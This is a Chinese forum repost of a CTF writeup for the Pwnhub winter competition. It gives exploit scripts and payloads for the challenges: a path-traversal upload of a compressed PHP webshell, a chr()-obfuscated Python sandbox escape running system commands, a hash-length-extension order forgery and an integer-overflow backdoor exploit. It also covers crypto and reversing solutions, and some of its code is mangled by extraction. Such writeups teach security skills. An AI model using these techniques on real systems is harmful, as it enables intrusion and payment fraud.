安全矩阵

 找回密码
 立即注册
搜索
查看: 1016|回复: 0

Pwnhub 冬季赛 Writeup by Arr3stY0u

[复制链接]

179

主题

179

帖子

630

积分

高级会员

Rank: 4

积分
630
发表于 2023-8-28 00:32:49 | 显示全部楼层 |阅读模式
本帖最后由 adopi 于 2023-8-28 00:44 编辑

Pwnhub 冬季赛 Writeup by Arr3stY0u
排名:5
解数:
WEB:
Reset:
上传表单
<form role="form" action="upload.php" method="post" enctype="multipart/form-data">
<div class="form-group">
<label
for="exampleInputText1">../.git/objects/5f/f1ef5c03448a1eb5571dd348cf717a7bad7402</label
><input type="text" class="form-control"
id="exampleInputText1" name="filename"/>
</div>
<div class="form-group">
<label for="exampleInputFile">File input</label><input type="file"
id="exampleInputFile" name="file" accept="image/gif"/>
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
Payload:
78 9C 05 40 31 0A 80 50 08 ED 28 0E 81 B5 D5 10
0D 3F B2 25 BA 40 5B 44 7C 41 70 78 90 10 74 7E
51 BC 4A E3 34 CC CD 22 E1 41 9B FD 15 5D FB 1C
FB 79 F1 E7 06 F0 DD 17 59 13 F2 5F 0B E2
上传 zlib 压缩过的一句话木马文件 覆盖.git/objects
> ../.git/objects/5f/f1ef5c03448a1eb5571dd348cf717a7bad7402
然后 git reset 到 commit 0701f62d1c7a5a43838cdc43e7843c83dabd477d
然后 ?shell=system("cat%20/flag");
PPC:
TCP SHOW:
import base64
def print_addr(addr, D):
s = ''
if D == 1:
s += ' ' * 8
s += f'{addr:08x} ' return s
def print_hex(data):
assert len(data) <= 16
s = '' for i, v in enumerate(data):
if i == 8:
s += ' ' s += f'{v:02x} ' s = s.ljust(51, ' ')
return s
def print_ascii(data):
assert len(data) <= 16
s = '' for i, v in enumerate(data):
if i == 8:
s += ' ' if 32 <= v <= 126:
s += chr(v)
else:
s += '.' s = s.ljust(17, ' ')
return s
# Parse input
N = int(input())
packets = []
for _ in range(N):
D, encoded_string = input().split()
D = int(D)
# Decode base64 string
decoded_string = base64.b64decode(encoded_string)
for i in range(0, len(decoded_string), 16):
data = decoded_string[i:i+16]
print(print_addr(i, D), end='')
print(print_hex(data), end='')
print(print_ascii(data))
Gaming:
游戏来咯:
打开游戏左下角有 flag

MISC:
飞驰人生:

二分法找到一条超速报文:
244#000000A60000
根据 https://www.freebuf.com/articles/mobile/322604.html
可得知
锁定全部车门的报文为 19B#00000F000000
而且高达 100 次,然而连一条开启车门的报文都没有为什么会锁 100 次呢,所以
猜测锁车报文也是在攻击。
拼接 flag{244#000000A60000_19B#00000F000000}
证书里也有秘密
工具一把梭

坐井观天:
from pwn import *
io = remote('47.97.127.1', 27504)
shell = '__import__("os").system("cat *")'
inner = ''
for ch in shell:
inner += f'chr({ord(ch)})+'
inner = inner[:-1]
payload = f'eval({inner})'
io.sendlineafter(b'$ ', payload)
io.interactive()
CRYPTO:
ASR:
RSA1 和 N 存在公因数,直接求出来 s,尝试了一下因为 s 很大直接就能解出 flag
RSA1=
0x97be543979cb98c109103fa118c1c930ff13a6b2562166417021afd6e46cb0837a5
cc5f4094fcea5fcc33efdfa495050e0fb8269922b3ee2d403210ed1ba339af2dc3d4e
8952f0c784fcc655436cf255b98cdaf8080df47f6c28bc0bae68c713
RSA2
=0xa887aa84f3a0bd8b79ed59a7bb98d8e58a85414f85cf2ddf53ff4bd9294bfdadf7
d6d6adfe7fbed55fc71b5a6bfcfe79ced27e2f41e7546a8679daf5b63dda37
c
=0x2f62fb7e7e8e27823193119f8412050ade9084ade25261a5875da23a07d5d5145e
72d460697984d8aa668a25822009a4fdc85df2b208941cd3219b312f21c3c7bc4ef7a
a8c18b4f91a0e815fe1892fca0f72406e571fbd0fea2c4710c601165ccd7e8a5a8287
21a5e2c956b732223d683d1413ef393b5f80a431c52bf9099e22b8e27daafb9d3e055
242b89b5419b8925744ccf348e1bea519225af8efe7dbcc202425251039cbfe6b892a
7fcf7e9d72224ea9381e3fb32ab837139af4b4112a3c7a6571c88e7d6c5db4c3f91e2
5edd15eb5544ef2f29a9e1bb1062ec86f1902
N
=0x58a7ff25292651e1a8d82656d64fe3b458d6e688405e85aa6c02e0c33469ad3dba
ef6c6eaf8faf22f2d15e80856ab7b90a40fd50c36f7b59932bc94e6fb4fabefa87b11
bf4ef74df4ccf8d254f0c6812628df3c5b3786af35e3dde9c87b462d1a565af6f1007
50718ccb7235174947f00cec5836765150f1680d0c58a5f9ea2473a6033c218c75664
dc53377dde9386f37e1a89d77e61a716129d290c5a41f81cd3490bab6fe51f232ab27
cb1ac9c8eb88e908c12109a125b7439c25b6879283a17a3467823fbb089709eb836cf
d03386cc4bf186eb45401472ab0bdec605fd7
import gmpy2
from Crypto.Util.number import *
s=gmpy2.gcd(RSA1,N)
d=gmpy2.invert(65537,s-1)
m=pow(c,d,s)
print(long_to_bytes(m))
#flag{b66f68258f184bd7afddd32c1518eed0}
大杂烩:
首先按照椭圆曲线去恢复一下 e,然后构造格子恢复 d。已知 e,d,N 可以分解
N 得到 p,q,最后恢复一下 flag 即可
enc1 =
986625906520689499205719795857259791272661122165837761607690909711696
642924938130218436243625936695745132204576648191538789563110773793925
317422533439616455349726393095374028746367397457177659697201171627806
209816390157884233248846409354668012342070195109197686029741628783237
77374364290185048275714332671356
enc2 =
587386997050138972731748378290988795808298989804587183418819004467019
106850432136984850363508888624544401183473622184850653773541373917920
391116391992580425919590840912428218748198649555047917882601870643382
455163271473278663736907562602397282182442941663835161517821236886339
86853602732137707507845681977204
NN =
149794788177729409820185150543033616327574456754306207341321223589733
698623477041345453230785413920341465642754285280273761269552897080096
162195035057667200692677841848045965505750839903359478511509753781737
513122660495056746669041957643882516287304836822410136985711091802722
010788615177574143908444311475347
v1 = vector(ZZ, [NN,0,0])
v2 = vector(ZZ, [0,NN,0])
v3 = vector(ZZ, [enc1,enc2,1])
m = matrix([v1,v2,v3])
print(m.LLL()[0])
from Crypto.Util.number import *
from gmpy2 import *
from random import *
n =
117749279680045360245987277946945707343578937283621512842997606104123
872211782263906911929773756533011817679794905642225389185861207256322
349591633257348367854563703050789889773031032949742664695416275919382
068347995088593380486820784360816053546651916291080971628354468517506
190756456913824397593128781030749
a = 1755716071599
N = 236038564943567983056828121309828109017
d=1499062428450948804268016166073725713535113080499238617096413371135
599890972057368000442607340190407642615889519867851810119146600657792
545331247031792317340301467541827417779920405999608846494996698327556
352354586045516160114639009672720479668676417945929332376560909806917
3418328596776052834794918747224515
POINT = (996 , 151729833458737979764886336489671975339 )
enc1 =
986625906520689499205719795857259791272661122165837761607690909711696
642924938130218436243625936695745132204576648191538789563110773793925
317422533439616455349726393095374028746367397457177659697201171627806
209816390157884233248846409354668012342070195109197686029741628783237
77374364290185048275714332671356
enc2 =
587386997050138972731748378290988795808298989804587183418819004467019
106850432136984850363508888624544401183473622184850653773541373917920
391116391992580425919590840912428218748198649555047917882601870643382
455163271473278663736907562602397282182442941663835161517821236886339
86853602732137707507845681977204
NN =
149794788177729409820185150543033616327574456754306207341321223589733
698623477041345453230785413920341465642754285280273761269552897080096
162195035057667200692677841848045965505750839903359478511509753781737
513122660495056746669041957643882516287304836822410136985711091802722
010788615177574143908444311475347
a0=pow(POINT[1],2,N)
a1=(pow(POINT[0],3,N)+a*POINT[0])%N
e0=(a0-a1)<<42
e=e0+a
def divide_pq(ed, n):
# ed = e*d
k = ed - 1
while True:
g = randint(3, n - 2)
t = k
while True:
if t % 2 != 0:
break
t //= 2
x = pow(g, t, n)
if x > 1 and gcd(x - 1, n) > 1:
p = gcd(x - 1, n)
return (p, n // p)
print(divide_pq(e*d,n))
p=1097517426103470461412953734843576756258527322752372791538124951416
051610679434062765106978284946606925561865706833931042972961225289427
1512170809202423887
q=1072869340198925749716231566611351139519362109828791698248142136935
857590187165834837073453761623845499499179536254439878791108622301149
9609901455116513427
for i in range(100):
print(long_to_bytes(p>>i))
print(long_to_bytes(q>>i))
#flag{e89f47939d12434cb201080d8b240774}
Payorder:
哈希扩展攻击伪造订单
from pwn import *
from base64 import b64encode, b64decode
from hashlib import sha256
import hlextend_bytes
# context.log_level = 'debug'
# io = remote('47.97.127.1', 22007)
io = process(['python3', 'app.py'])
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'Which one? ', b'0')
io.recvuntil(b'Order: ', drop=True)
link = b64decode(io.recvline().decode())
payments = link.split(b'&')
assert payments[-1].startswith(b's=') and len(payments[-1]) == 66,
"Invalid"
link, sign = link[:-67], link[-64:]
link = link.decode()
sign = sign.decode()
for secret_len in range(10, 30):
sha = hlextend_bytes.new('sha256')
tmp_link = sha.extend('asdf&c=-10000'.encode(),
link.encode(),
secret_len,
sign,
raw=True)
_sign = sha.hexdigest()
order = b64encode(tmp_link+f'&s={_sign}'.encode()).decode()
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'Order: ', order.encode())
res = io.recvuntil(b'Your Coins: ')
print(res)
if b'Invalid Order!' not in res:
print('wow', secret_len)
break
print(io.recvline())
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'Which one? ', b'9')
io.recvuntil(b'Order: ', drop=True)
Order = io.recvline()
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'Order: ', Order)
res = io.recvuntil(b'Your Coins: ')
print(res)
先构造一个负金额的订单,把钱刷到 10000.然后正常流程购买 flag。
git 上那个 hlextend 只支持 str,要自己改一份支持 bytes 的,不然 utf-8 编码
跑不通。
PWN:
Justjs:
非预期直接读出 flag
冒险者:
整数溢出,改防御进入后门
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def cmd(i):
sla('>>> ', i)
def get_money():
cmd('1')
ru('HP: ')
if int(ru(' ')[:-1]) < 20:
sla('? (1 -> yes / other -> no)',str(1))
else:
sla('? (1 -> yes / other -> no)',str(2))
get_money()
def get_flag():
cmd('1')
ru('LV: ')
if int(ru(' ')[:-1]) == 999:
sla('? (1 -> yes / other -> no)',str(1))
else:
sla('? (1 -> yes / other -> no)',str(2))
get_flag()
def hp():
cmd('2')
sla('>>>','3')
sla('How many?','28633116')
for i in range(3):
get_money()
hp()
get_flag()
sl('cat flag')
sl('cat /flag')
ia()
REVERSE:
3:00pm:
challApp.ZGUy(z:y:sum:p:e:key
由参数名猜测是 xxtea。
challApp.MjA3()(int a1)
密文和密钥都在这个函数里面, xxtea 解密后就出了。
Webasm:
修改 wasm_exec.js,在 loadValue 末尾加一行。
> console.log('[loadValue]'+addr.toString(16)+','+v);
然后下断看输出,打印出输入的字符串后看堆栈。
堆栈回溯定位到 0x8014f3fb。
读 wasm 内存
> new TextDecoder("utf-8").decode(new DataView(go.mem.buffer, Number(0x205be), 0xd));
读出来是"flag is flag{" c
/* verify */
iVar1 = verify_8014eed4(0);
if (iVar1 != 0) {
return 1;
}
code_r0x8014f4e3:
if (*(char *)((int)register0x00000008 + 0x10) != '\0') {
code_r0x8014f4f4: *(undefined8 *)((int)register0x00000008 + 0x68) = 0; *(undefined8 *)((int)register0x00000008 + 0x70) = 0; *(undefined8 *)register0x00000008 = 0;
/* flag is flag{ */ *(undefined8 *)((int)register0x00000008 + 8) = 0x205be; *(undefined8 *)((int)register0x00000008 + 0x10) = 0xd;
在 8014eed4 里看到
/* EHi87RUC2K5hZDnJJny9QtG1vjTFbSdQWrw8VvTLdpKq */ *(longlong *)register0x00000008 = 0x25531; *(longlong *)((int)register0x00000008 + 8) = lVar3; *(longlong *)((int)register0x00000008 + 0x10) = 44;
register0x00000008 = (BADSPACEBASE *)((int)register0x00000008 + -8); *(longlong *)register0x00000008 = 0x156a0018;
iVar2 = unnamed_function_64(0);
if (iVar2 != 0) {
return 1;
}
可以确定正确密文就是
> EHi87RUC2K5hZDnJJny9QtG1vjTFbSdQWrw8VvTLdpKq
lVar3 对应的就是加密过的输入字符串。
下断观察 lVar3。
递增输入明文测试出编码表存在 PQRS 的序列。
11111111111111111111111111111110
gnuNjegcAhSPVJWmd7s9cioePPBT6XocTwDmqSB1cs9P
11111111111111111111111111111111
gnuNjegcAhSPVJWmd7s9cioePPBT6XocTwDmqSB1cs9Q
11111111111111111111111111111112
gnuNjegcAhSPVJWmd7s9cioePPBT6XocTwDmqSB1cs9R
11111111111111111111111111111113
gnuNjegcAhSPVJWmd7s9cioePPBT6XocTwDmqSB1cs9S
11111111111111111111111111111114
gnuNjegcAhSPVJWmd7s9cioePPBT6XocTwDmqSB1cs95
在内存中搜索 PQRS 找到
> 9efgFBE65hijPQRS8noCDTYZabc172VWXNMUd3GHJKLkmA4pqrstuvwxyz
长度 58 的表,猜测是变表 base58,直接用 base58 解码失败,猜测编码前还有一
层加密。
verify 函数开头
*(longlong *)((int)register0x00000008 + 0x60) = 0x6665656264616564; // "deadbeef"
... _80100559(0);
... _801007d7(0);
翻看 80100559 和 801007d7 可以看到一些特征. 初始化
c
uVar7 += *(byte *)((int)uVar5 + (int)uVar8) + uVar10;
uVar8 = uVar3 + (uVar7 & 0xff) * 4; *(undefined4 *)lVar9 = *(undefined4 *)uVar8; *(undefined4 *)uVar8 = (int)uVar10;
异或
`c*(byte *)((int)uVar13 + (int)lVar15) = bVar1 ^ (byte)*(undefined4 *)
(iVar7 + (int)(((ulonglong)uVar2 + (ulonglong)uVar3 & 0xff) << 2));
猜测是 rc4。
直接用 CyberChef 解密。
密文
> EHi87RUC2K5hZDnJJny9QtG1vjTFbSdQWrw8VvTLdpKq
Base58
>9efgFBE65hijPQRS8noCDTYZabc172VWXNMUd3GHJKLkmA4pqrstuvwxyz
Rc4 密钥
> deadbeef
最后解密得到
c7735ecc93f14b1da6e0df058bbac972
OTHER:
文字词频分析:
from PIL import Image
import io
img = Image.open('./tmp.png')
def cut2(img, x, y):
content = io.BytesIO()
b = img.crop((x*50, y*50, (x+1)*50, (y+1)*50))
b.save(content, 'png')
return b, content.getvalue()
all_pic = set()
for x in range(20):
for y in range(20):
b, data = cut2(img, x, y)
print(len(all_pic))
if data not in all_pic:
b.save(f'_{len(all_pic)}.png')
all_pic.add(data)
去重后剩下 26 张图片,通过 unkown.png 辨别。
然后改成对应的名字, 比如 A.png。
Exp:
from pwn import *
from PIL import Image
import io
def crack(part, c, level=6):
s = int(part, 16) << (level * 4) _limit = s + (1 << level * 4)
while s <= _limit:
s += 1
seed = hex(s)[2:].encode()
if hashlib.md5(seed).hexdigest() == c:
return seed
map_ascii = dict()
for ch in string.ascii_uppercase:
map_ascii[open(f'{ch}.png', 'rb').read()] = ch
def cut(img, x, y):
content = io.BytesIO()
b = img.crop((x*50, y*50, (x+1)*50, (y+1)*50))
b.save(content, 'png')
return content.getvalue()
p_io = remote('47.97.127.1', 25301)
p_io.recvuntil(b'plaintext: ')
part = p_io.recvuntil(b'??????', drop=True).decode()
p_io.recvuntil(b'md5_hex -> ')
c = p_io.recvuntil(b'\n', drop=True).decode()
p = crack(part, c)
p_io.sendlineafter(b'> ', p)
p_io.recvuntil(b"now, you get a png: ")
a = p_io.recvuntil(b"##The end, please tell me your list:", drop=True)
x = base64.b64decode(a.decode())
print('start!')
with open('./tmp.png', 'wb') as fp:
fp.write(x)
fp.flush()
img = Image.open('./tmp.png')
s = '' for x in range(20):
for y in range(20):
s += map_ascii[cut(img, x, y)]
result = [0 for _ in range(26)]
for i in range(len(s)):
idx = string.ascii_uppercase.index(s)
result[idx] += 1
print(result)
result = ((str(result).strip('[]').replace(' ','')))
print(result)
p_io.sendlineafter(b'> ', result.encode())
p_io.interactive()
图片识别:
from pwn import *
from PIL import Image
def crack(part, c, level=6):
s = int(part, 16) << (level * 4) _limit = s + (1 << level * 4)
while s <= _limit:
s += 1
seed = hex(s)[2:].encode()
if hashlib.md5(seed).hexdigest() == c:
return seed
io = remote('47.97.127.1', 27958)
io.recvuntil(b'plaintext: ')
part = io.recvuntil(b'??????', drop=True).decode()
io.recvuntil(b'md5_hex -> ')
c = io.recvuntil(b'\n', drop=True).decode()
p = crack(part, c)
io.sendlineafter(b'> ', p) _score = 0
for i in range(10):
io.recvuntil(b"/9j/")
a = b"/9j/"+io.recvuntil(b"What's animal in this picture?", drop=True)
x = base64.b64decode(a.decode())
print('start!')
with open('./tmp.jpg', 'wb') as fp:
fp.write(x)
fp.flush()
# img = Image.open('./tmp.jpg')
# img.show('test')
guess = input().strip()
if guess == 'e':
guess = 'elephant' elif guess == 'b':
guess = 'bird' elif guess == 'c':
guess = 'chicken' elif guess == 'r':
guess = 'rabbit' elif guess == 't':
guess = 'tigger' elif guess == 'm':
guess = 'mouse' elif guess == 'k':
guess = 'koala' elif guess == 'd':
guess = 'deer' elif guess == 'l':
guess = 'lion' elif guess == 'h':
guess = 'horse' elif guess == 'ct':
guess = 'cattle' print(guess)
io.sendlineafter(b'> ', guess.encode())
res = io.recvline()
if b'Yes' in res: _score += 1
print(_score, res)
io.interactive()
搞几个快捷输入字符, 肉眼识别就行了。
垃圾邮件分析:
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import string
from pwn import *
io = remote(' 47.97.127.1', 27262)
table = string.printable
io.recvuntil(b'sha256(')
prefix = io.recvuntil(b' + xxxx) = ', drop=True).decode()
h = io.recvuntil(b'\n', drop=True).decode()
proof = mbruteforce(lambda x: sha256((prefix+x).encode()).hexdige
st() == h, table, length=4, method='fixed')
io.sendlineafter(b'xxxx =', proof.encode())
io.interactive()
复制到 chatGPT 会告诉你更多

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 11:51 , Processed in 0.013507 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表